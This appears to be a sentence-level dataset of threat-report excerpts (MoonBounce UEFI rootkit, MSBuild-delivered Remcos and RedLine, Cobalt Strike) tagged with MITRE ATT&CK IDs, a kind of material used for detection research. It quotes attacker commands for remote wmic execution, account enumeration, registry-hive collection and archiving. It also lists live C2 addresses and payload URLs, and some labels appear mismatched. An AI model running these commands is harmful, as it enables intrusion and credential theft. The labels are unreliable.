{"sentence": "/password:<readcted_password> process call create \"cmd /c net user administrator >$temp\\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\\<redacted_user>", "labels": ["T1070.004"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/password:<readcted_password> process call create \"cmd /c net user admin >$temp\\a.tmp Removal of artefacts from the system: cmd /C", "labels": ["T1059.003", "T1070.004"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & dir $temp\\*.hive\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & del $temp\\*.hive\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & dir $temp\\*.log\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & type $temp\\silconfig.log\" File archiving of remotely collected files, some of which contain *.hive files, possibly for LSA secrets dumping, with the exe command line utility: cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & $temp\\rar.exe a -r wef.rar \\\\<redacted_internal_ip1>\\c$\\windows\\temp\\1 -hp2wsxcde34rfv7788.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\" c:\\windows\\temp\\rar.exe a -r c:\\windows\\temp\\873.rar \\\\<redacted_internal_ip2>\\c$\\windows\\temp\\*.hive -hp5tgbnhy67ujm3256 Network infrastructure The main cluster of infrastructure serving the activity of the UEFI implant and ScrambleCross implants is outlined in the table below.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "During the time the actor switched between multiple hosting providers, resulting in a scattered infrastructure across several ASNs.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Domain IP ASN mb.glbaitech[.]com 188.166.61[.]146 AS14061 – DIGITALOCEAN-ASN ns.glbaitech[.]com 188.166.61[.]146 AS14061 – DIGITALOCEAN-ASN 172.107.231[.]236 AS40676 dev.kinopoisksu[.]com 172.107.231[.]236 AS40676 193.29.57[.]161 AS48314 – IP-PROJECTS st.kinopoisksu[.]com 136.244.100[.]127 AS20473 – AS-CHOOPA – 217.69.10[.]104 AS20473 – AS-CHOOPA – 92.38.178[.]246 AS202422 –", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "GHOST A careful inspection of the infrastructure shows multiple connections between the servers.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "It is evident that MoonBounce’s user-mode stager and a few ScrambleCross instances reached out to a single domain, which resolved to the same IP at one point.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "In addition, there were several overlaps in IPs to which the domains resolved as outlined in the figure below, including one IP that was used to park two domains at different points in time.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Connections between infrastructure elements of MoonBounce and ScrambleCross implants found on the same network Another important commonality is a unique self-signed SSL certificate, exhibited by multiple servers in this campaign (and only a few dozen others in the wild), which represents a noteworthy fingerprint of the attacker’s network activity.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "In addition to the above cluster, we detected two servers related to Microcin’s activity on the same network: Domain IP ASN m.necemarket[.]com 172.105.94[.]67 AS63949 – LINODE holdmem.dbhubspi[.]com 5.188.93[.]132 AS202422 – G-Core Labs Who is behind the MoonBounce attack?", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "In part, our findings align with multiple public accounts from the previous year of either APT41 or other threat actors, namely Earth Baku and SparklingGoblin, which are believed to be alternative names for APT41 or share significant resources and TTPs with it.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Our conclusion, in particular, is done based on the following factors: The loading schemes for ScrambleCross, including the usage of StealthVector and StealthMutant in the infection chain, are identical to those observed leveraged by Earth Baku and SparklingGoblin.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Apart from the loaders themselves, their launchers seem identical.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The attackers used the unique TTP of initiating the loader execution through exe in all cases observed by us.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Particularly Install.bat, as used by Earth Baku and described in the public report by Trend Micro mentioned earlier, is highly similar to the sequence of commands used to execute the InstallUtil launcher in our case.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The ScrambleCross malware itself, which has been reported in use with both Earth Baku and SparklingGoblin, is considered a variant of CROSSWALK, a piece of malware that was described originally by Mandiant as an APT41 tool and remains distinct to the group, to the best of our knowledge.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "A unique certificate retrieved from multiple ScrambleCross C2 servers in the campaign described in this report was sent as a response in a few other dozen servers in the wild, a few of them have been previously reported by the FBI as being part of an APT41-owned infrastructure.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Additionally, the following observations are worth mentioning: The user-mode malware stager deployed by the UEFI implant contains a scheduling logic that is somewhat similar to one seen in Microcin samples (some of which were also found on infected hosts in this campaign).", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This suggests that these groups may be related through shared resources or a prime contractor.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "A similar scheduling methodology occurs in the case of Microcin, but with a bitmask that simply represents the days of the week on which the malware ought to be active.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Scheduling code used in MoonBounce’s user-mode stager", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "One recent example is its use in the campaigns of GhostEmperor, as described in a previous report.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Some elements of shellcode leveraged in MoonBounce were spotted in an old rootkit that was part of a malicious framework dubbed xTalker, which has been seen in the wild since at least 2013, alongside several malware families affiliated to known actors, e.g. NetTraveler, Enfal and Microcin.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "It was prominently used against Russian-speaking targets including military, governmental entities and think-tanks.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Both components shared a similar name-hashing algorithm, which is outlined below, along with unique corresponding function name hashes (e.g. 0x311B83F, the name hash of ExAllocatePool) that were not seen in use elsewhere in the wild.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Name-hashing algorithm used identically in both MoonBounce and xTalker’s rootkit In addition, both pieces of code used a technique of replacing magic marker values within shellcode buffers with pointer addresses during runtime.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "MoonBounce’s code used the marker 0x1122334455667788, while the xTalker rootkit’s code used 0x1234567812345678.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Magic marker values replaced during execution within shellcodes in xTalker’s rootkit and MoonBounce In the case of xTalker, the above code elements were found within shellcode intended to be staged through an MBR bootkit.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "However, it is not clear to what extent it was actually used.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This may suggest that the MoonBounce and xTalker codes were authored by the same, or a closely affiliated, developer.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Conclusion In September 2020, the US Department of Justice released a series of indictments against members of the APT41 group, charging them with a high number of computer intrusions against a variety of targets, both in the private and public sectors, some of which included high-profile supply chain attacks.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The intrusion set described in this report, and in other public accounts we referred to, shows that the group did not cease to be active despite these legal proceedings.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Moreover, it is evident that the group maintains a high level of proficiency and sophistication in the development of its toolset, gaining a foothold in new areas like UEFI firmware.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "In this sense, the group has introduced its own innovation to this landscape – patching an existing benign core component in the firmware (rather than adding a new driver to it), thereby turning the UEFI firmware into a highly stealthy and persistent storage for malware in the system.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "With this in mind, vendors are taking more precautions to mitigate attacks like MoonBounce, for example by enabling Secure Boot by default.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Likewise, enabling Trust Platform Modules, in case a corresponding hardware is supported on the machine, is also advisable.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "On top of all, a security product that has visibility into the firmware images should add an extra layer of security, alerting the user on a potential compromise if such occurs.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "MoonBounce’ indicators of compromise EFI Rootkit – Malicious CORE_DXE D94962550B90DDB3F80F62BD96BD9858 Modified WMI DLL Launcher C3B153347AED27435A18E789D8B67E0A StealthVector 4D5EB9F6F501B4F6EDF981A3C6C4D6FA E7155C355C90DC113476DDCF765B187D 899608DE6B59C63B4AE219C3C13502F5 4EF90CEEF2CC9FF3121B34A9891BB28D CFF2772C44F6F86661AB0A4FFBF86833 InstallUtil Launcher 5F9020983A61446A77AF1976247C443D StealthMutant 0603C8AAECBDC523CBD3495E93AFB20C 8C7598061D1E8741B8389A80BFD8B8F5 F9F9D6FB3CB94B1CDF9E437141B59E16 Microcin 5FE6CE9C48D0AE98EC2CA1EC9759AAD9 50FF717A8E3106DDBF00FB42212879C5 D98614600775781673B6DF397CC4F476 Go Implant C9B250099E2DD27BB4170836AC480FE0 97EF7B8FCDCB0C0D9FBB93D0F7E6E3B6 Mimikat_SSP 4E4388D7967E0433D400C60475974D50 5F1C7602688E67F299F5BD533FA07880 xTalker Rootkit 45E862964EF4EFDEA181F3927D20E96D 4BC82105403974AA24BF02CFB66B8F7C Domains and IPs mb.glbaitech[.]com – MoonBounce ns.glbaitech[.]com – ScrambleCross dev.kinopoisksu[.]com – ScrambleCross st.kinopoisksu[.]com – ScrambleCross 188.166.61[.]146 – ScrambleCross 172.107.231[.]236 – ScrambleCross 193.29.57[.]161 – ScrambleCross 136.244.100[.]127 – ScrambleCross 217.69.10[.]104 – ScrambleCross 92.38.178[.]246 – ScrambleCross m.necemarket[.]com – Microcin 172.105.94[.]67 – Microcin holdmem.dbhubspi[.]com – Microcin 5.188.93[.]132 – Go malware 5.189.222[.]33 – Go malware 5.183.103[.]122 – Go malware 5.188.108[.]228 – Go malware 45.128.132[.]6 – Go malware 92.223.105[.]246 – Go malware 5.183.101[.]21 – Go malware 5.183.101[.]114 – Go malware 45.128.135[.]15 – Go malware 5.188.108[.]22 – Go malware 70.34.201[.]16 – Go malware File Names wbwkem.dll – StealthVector wkbem.dll – StealthVector wmiwk.dll – StealthVector C_20344.nls – StealthVector C_20334.nls – StealthVector compwm.bin – ScrambleCross Shellcode pcomnl.bin – ScrambleCross Shellcode wmipl.dll – ScrambleCross encrypted shellcode Microsoft.Service.Watch.targets – StealthMutant MstUtil.exe.config –", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "ScrambleCross encrypted shellcode System.Mail.Service.dll – InstallUtil launcher for StealthMutant schtask.bat – Batch launcher for StealthMutant CmluaApi.dll – Microcin ScrambleCross Mutexes Global\\GouZUAkmtdpUmves Global\\PtUojBxCOZGVmQQn Global\\EGuUCpyYIJRTQJAV Global\\YCtiqMgRrpLGbfDo", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Authored by: Tara Gould and Gage Mele Key Findings Anomali Threat Research identified a campaign in which threat actors used Microsoft Build Engine (MSBuild) to filelessly deliver Remcos remote access tool (RAT) and password-stealing malware commonly known as RedLine Stealer This campaign, which has low or zero detections on antivirus tools, appears to have begun in April 2021 and was still ongoing as of May 11, 2021.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "We were unable to determine how the .proj files were distributed, and are unable to make a confident assessment on attribution because both RemcosRAT and RedLine Stealer are commodity malware.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "The malicious MSBuild files we observed in this campaign contained encoded executables and shellcode, with some, hosted on Russian image-hosting site, “joxi[.]net.”", "labels": ["T1027"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "While we were unable to determine the distribution method of the .proj files, the objective of these files was to execute either Remcos or RedLine Stealer.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "In addition, MSBuild has an inline task feature that enables code to be specified and compiled by MSBuild and executed in memory.", "labels": ["T1053.005"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "This ability for code to be executed in memory is what enables threat actors to use MSBuild in fileless attacks.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "A fileless attack is a technique used by threat actors to compromise a machine while limiting the chances of being detected.[3]", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Fileless malware typically uses a legitimate application to load the malware into memory, therefore leaving no traces of infection on the machine and making it difficult to detect.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "An analysis by network security vendor WatchGuard released in 2021 showed a 888% increase in fileless attacks from 2019 to 2020, illustrating the massive growth in the use of this attack technique, which is likely related to threat actor confidence that such attacks will be successful.[4] MSBuild Project File (.proj) Analysis Analyzed File – imaadp32.proj MD5 – 45c94900f312b2002c9c445bd8a59ae6 The file we analyzed is called “imaadp32.proj,” and as shown in Figure 2 below, is an MSBuild project file (.proj).", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "For persistence, mshta is used to execute a vbscript that runs the project file, with a shortcut file (.lnk) added to the startup folder (Figure 3).", "labels": ["T1547.001"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Figure 2 - MSBuild Project Schema for immadp32.proj Figure 3 - .lnk", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "def decode_array(dec_list, key): key_array =", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "xxZmgLbpuJ = 0 for position in list(range(256)): xxZmgLbpuJ", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "% 256 YAFIh = position_array[position] position_array[position] = position_array[xxZmgLbpuJ] position_array[xxZmgLbpuJ] = YAFIh DmqRsaOvxUH", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "xxZmgLbpuJ", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "[] for position in list(range(len(dec_list))): DmqRsaOvxUH", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "%= 256 xxZmgLbpuJ", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "+= position_array[DmqRsaOvxUH]", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "xxZmgLbpuJ %= 256 YAFIh = position_array[DmqRsaOvxUH] position_array[DmqRsaOvxUH] = position_array[xxZmgLbpuJ] position_array[xxZmgLbpuJ] = YAFIh new_array.append(dec_list[position] ^", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "position_array[((position_array[DmqRsaOvxUH]", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "% 256)]) return new_array Figure 5 - Python Script to Decode", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "The output decimal list from this function was then converted from bytes, resulting in an executable for the first block and shellcode for the second block.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Shellcode The malware and shellcode were allocated memory in the process space using VirtualAlloc.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "After being copied into memory, the shellcode was executed using the callback function pointer in CallWindowProc, shown in Figure 6 below.", "labels": ["T1106"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Other samples leverage the function Delegate.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "DynamicInvoke instead.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Figure 6 - Shellcode and Payload Being Loaded Into Memory Figure 7 - Encoded shellcode in Project File The shellcode (encoded shown in Figure 7 above) calls, shown in Figure 8 below, were mainly: LoadLibraryW, VirtualAlloc, CreateProccessW, and ZwUnmapViewOfSection.", "labels": ["T1027", "T1106"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Figure 8 - Calls made by the shellcode Payloads RemcosRAT Analyzed File – MD5 – 04fc0ca4062dd014d64dcb2fe8dbc966 The payload from the project files was a remote access tool (RAT) called Remcos.", "labels": ["T1219"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Remcos is a commercial software created by Breaking Security that, according to their user manual, can be used for remote control, remote admin, remote anti-theft, remote support and pentesting.[5]", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "However, Remcos has often been used by threat actors for malicious purposes.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "The software, written in C++, enables full access to the infected machine with features including, but not limited to: Anti-AV Credential harvesting Gathering system information Keylogging Persistence Screen capture Script execution The themes used by actors to distribute Remcos have varied, including changes designed to adapt to themes or timeframes.", "labels": ["T1056.001", "T1082", "T1113"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "For example, recent Remcos campaigns were observed utilizing Tax Day lures.[6]", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Additional functions Remcos has been known to utilize are shown in Table 1 below.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Table 1 - Remcos 2.6.0 Features Remote Scripting Notifications", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Webcam Capture Remote Command Line Clear Logins Remote Chat File Manager Remote Input Microphone Capture SOCKS Proxy Keylogger Login Cleaner Screen Logger Local Utilities Browser History Registry Editor Password Recovery Visibility mode RedLine Stealer Analyzed File – rehoboams.exe MD5 – 6d3e8a2802848d259a3baaaa78701b97", "labels": ["T1056.001", "T1059.003", "T1112", "T1113"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "In a similar MSBuild project file to the Remcos dropping .proj file, we found another project file named “vwnfmo.lnk“ where RedLine Stealer was dropped instead of Remcos, shown in Figure 13 below.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "RedLine Stealer is written in .NET and has been observed stealing multiple types of data (full list shown in Table 2 below), including: : Cookies Credentials (chat clients, VPNs, crypto wallets, browser )", "labels": ["T1005"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Crypto wallet NordVPN (existence of and credentials) Stored web browser information (credit card, username, and password)", "labels": ["T1082"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Figure 13 - RedLine .NET", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Information Stealer Figure 14 - RedLine Functions Figure 15 - Checks for NordVPN Installation Figure 15 above shows RedLine checking for NordVPN on the machine.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "If the path exists, the next function of this malware is to check for the user config to steal the credentials.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "This function also enables RedLine to steal credentials for additional installed applications.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Table 2 - Installs RedLine Scans for Chrome GameLauncher for Steam Filezilla Guarda Gecko Jaxx Armory Metamask Atomic Monero Coinom OpenVPN DesktopMessenger for Telegram NordVPN Discord ProtonVPN Electrum Tronlink Ethereum Yoroi Conclusion The threat actors behind this campaign used fileless delivery as a way to bypass security measures, and this technique is used by actors for a variety of objectives and motivations.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "This campaign highlights that reliance on antivirus software alone is insufficient for cyber defense, and the use of legitimate code to hide malware from antivirus technology is effective and growing exponentially.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Focusing on cybersecurity training and hygiene, as well as a defense-in-depth strategy, are some recommended courses of action for countering this threat.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "[2] Ibid.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "[3] “What Is Fileless Malware?,” McAfee, accessed May 3, 2021, https://www.mcafee.com/enterprise/en-gb/security-awareness/ransomware/what-is-fileless-malware.html.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "[4] “Internet Security Report – Q4 2020,” WatchGuard, accessed May 4, 2021, published March 30, 2021, https://www.watchguard.com/uk/wgrd-resource-center/security-report-q4-2020, 3.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Appendix A IOCs Project File Payload C2 Details 45c94900f312b2002c9c445bd8a59ae6 Remcos 04fc0ca4062dd014d64dcb2fe8dbc966 135.181.170.169:50845 d8a57534382a07cc0487b96350bca761 Remcos eb8b1d64429e00f2b3b49f886ee3b0b4 http://dl4.joxi.net/drive/2021/04/15/0048/3592/3153416/16/b8c104ce64.png d52d6bad3d11e9a72998608ccca572f5 Remcos 41c0bb6e89ad89af8eef7bec40d4acbb d66740b3ed3884c31d40e3747684411e RedLine 302207c3248257d4d9badf4bc4b75483 svhost-system-update.net:80 http://dl4.joxi.net/drive/2021/04/19/0048/3592/3153416/16/d07409594a.proj 43660f882cc5971ab83a810398487317 RedLine 6d3e8a2802848d259a3baaaa78701b97 37.1.206.16:7575 192b8ee95537dda7927ba3b45183e6a4 Remcos b8e9ce084d9d49f565f850c59b003bcf http://joxi.net/52ap4j7tkJER7m.proj 1ae425ac2890283ddcf11946e7e8f6ae QuasarRat 723f5e75239b66e3d08b83a131c7b66c 20621960888a6299123ce5a2df5eabba Remcos f174c03d177a04e81677e9c9a9eae0c8 27b62f7b4b285b880b8c81960aa60b15 Remcos cf45b793bc9ec86bfedfa165c01ede15 2d15a4c9184878e25bdf108bd58290b8 Remcos de2ff99ca086a8ad0f9b8027aef696ba 37bbbbc44c80ff4fe770ce78f6a37ebd Remcos 73790d28f4f8f0f4c402da66c8dc393f 603b1cc2d5488dcd8bb0a3b14429c88b Remcos 23c5bc4a2e69c3f171561b524ceb4098 62c8efb35b3b9c10e965ec5a236fed2d Remcos 4def35aedc86a946c13118e14127e0e9 a948e8d3222b9fa8ccbd091230098b78 Remcos 85c700ff566161c77a03f282fa48a246 ecdb2860af9ce2754d178c80e3303080 QuasarRat 7870a7c7e355d1fbf357c846d8bf2aea fe84ead033bfeaee70f84d8733b51e08 RedLine 4023e57ffbc87aa93621a7c2a6f0b425 Appendix B MITRE ATT&CK TTPs Matrix Technique ID Name Execution T1059.003 Windows Command Shell T1059.006 Python Persistence T1547.009 Shortcut Modification T1547.001", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Registry Run Keys / Startup Folder Privilege Escalation T1548.002 Abuse Elevation Control:", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Bypass User Account Control T1055 Process Injection T1055.012 Process Hollowing Defense Evasion T1140 Deobfuscate/Decode Files or Information T1112 Modify Registry T1027 Obfuscated Files or Information T1055 Process Injection T1055.002 Portable Executable Injection T1055.012 Process Hollowing T1127 Trusted Developer Utilities Proxy T1127.001 MSBuild T1497.001 System Checks T1218.005 Signed Binary Proxy Execution: Mshta Credential Access T1555 Credentials from Password Stores T1555.003 Credentials from Web Browsers T1539 Steal Web Session Cookie T1056 Input Capture T1056.001 Keylogging Discovery T1087 Account Discovery T1083 File and Directory Discovery T1518 Software Discovery T1518.001 Security Software Discovery T1082 System Information Discovery T1614 System Location Discovery T1033 System Owner/User Discovery T1124 System Time Discovery Collection T1123 Audio Capture T1115 Clipboard Data T1113 Screen Capture T1125 Video Capture Command and Control T1105 Ingress Tool Transfer T1090 Proxy Exfiltration T1041 Exfiltration Over C2 Channel Appendix C Zero Detection on VirusTotal", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"}
{"sentence": "Cobalt Strike is a penetration testing tool created by Raphael Mudge in 2012.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "To this day, it remains extremely popular in red team activities and used for malicious purposes by threat actors.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Cobalt Strike is popular due to its range of deployment options, ease of use, ability to avoid detection by security products, and the number of capabilities it has.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Since Cobalt Strike is widely used by a range of actors, its lack of exclusivity makes attribution harder.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Companies still struggle to detect Cobalt Strike also due to the various defensive techniques it has.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "This blog explains Cobalt Strike and practical steps to take if you believe that you are being targeted by Cobalt Strike or already compromised.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "We will demonstrate some real world examples of Cobalt Strike delivery and steps to detect each.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "It is a popular platform that allows users to emulate advanced threats, perform reconnaissance, hide communications, escalate privileges, move laterally across the network, and deploy additional payloads.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "The main payload of Cobalt Strike is called “Beacon.”", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "The Beacon payload is used to model advanced APT malware, and can do the following: Receive commands (either passively or from an interactive console) Egress communications over HTTP, HTTPS, and DNS Launch PowerShell Execute binaries Modify and query the Windows registry Inject malicious code into legitimate processes Log keystrokes Take screenshots Set up proxies Escalate privileges Bypass UAC Dump password hashes Scan ports among other abilities This tool is mainly used in red team operations for government agencies and private enterprises, but it’s also a popular tool leveraged by cybercrime and APT groups in cracked versions.", "labels": ["T1012", "T1055", "T1056.001", "T1071.001", "T1090", "T1112", "T1113", "T1548.002"], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "It is evident why Cobalt Strike is used by organizations and threat actors alike because of the extensive suite of capabilities it possesses, and also due to its ability to bypass defenses.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "It also comes with the feature to generate reporting in which the attacking team or threat actor can continuously study and improve their campaigns.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Why is it difficult to detect Cobalt Strike? Cobalt Strike is difficult to detect because of its several defense techniques.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Cobalt Strike payloads are usually shellcode encrypted with a rolling XOR key.", "labels": ["T1027"], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "This makes static analysis difficult to conduct.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "This, combined with the ability to configure many parts of the payload, makes hash-based detection almost impossible.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Cobalt Strike stagers are designed to be loaded and executed only in-memory.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "This opens up a ton of possibilities for how this shellcode is shipped, making signature-based detection on the delivery method a cat and mouse game.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Depending on how the code is delivered, the code can be injected into other legitimate running processes, bypassing defenses that do not scan legitimate processes or code in-memory.", "labels": ["T1055"], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "How has Cobalt Strike been deployed?", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "This flexibility has helped attackers find many unconventional and creative ways to infect victims with a payload.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Let’s take a look at some real world examples of how Cobalt Strike is being used in the wild.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "We will cover the following: Macro-Laden Microsoft Office files Supply Chain Attack Living off the Land (LotL) Executables (EXE) files Macro-Laden Microsoft Office Files An example of a Cobalt Strike payload being delivered to victims via Microsoft Excel spreadsheets demonstrates that this tool is also used in mass phishing campaigns, not just targeted APT attacks.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "The attack starts by sending potential victims a Microsoft OneDrive link from which an Excel (.xls) file is downloaded.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "OneDrive URLs sent to victimsUsing cloud storage links to deliver malicious files is a well-known strategy.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
